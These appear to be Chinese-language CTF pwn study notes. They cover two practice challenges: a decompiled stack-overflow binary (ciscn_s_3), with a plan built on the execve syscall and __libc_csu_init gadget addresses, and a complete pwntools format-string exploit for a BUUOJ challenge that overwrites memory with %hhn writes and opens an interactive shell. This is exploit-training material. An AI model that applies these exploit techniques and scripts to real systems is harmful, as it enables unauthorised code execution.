逆向
int __cdecl main(int argc, const char **argv, const char **envp)
{
return vuln();
}
signed __int64 vuln()
{
signed __int64 v0; // rax
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
v0 = sys_read(0, buf, 0x400uLL);
return sys_write(1u, buf, 0x30uLL);
}
攻击思路
(1)调用号:sys_read的调用号为0,sys_write的调用号为1,sys_execve的调用号为59
mov rax,3bh是sys_execve系统调用
在ida窗口中按alt+t查找mov rax,3bh指令,找到指令存储位置为0x4004E2
注意(new知识点):_libc_csu_init函数是程序调用libc库用来对程序进行初始化的函数,一般先于main函数执行
(2)objdump -S ciscn_s_3
找到具备6个pop指令的地址为0x40059a
[第五空间2019 决赛]PWN5
from pwn import *
p=remote('node4.buuoj.cn',27963)
payload=p32(0x804C044)+p32(0x804C045)+p32(0x804C046)+p32(0x804C047)+b'%16x%16x%16x%16x'+b'%10$hhn%11$hhn%12$hhn%13$hhn'
p.sendline(payload)
payload=str(0x50505050)
p.sendline(payload)
p.interactive()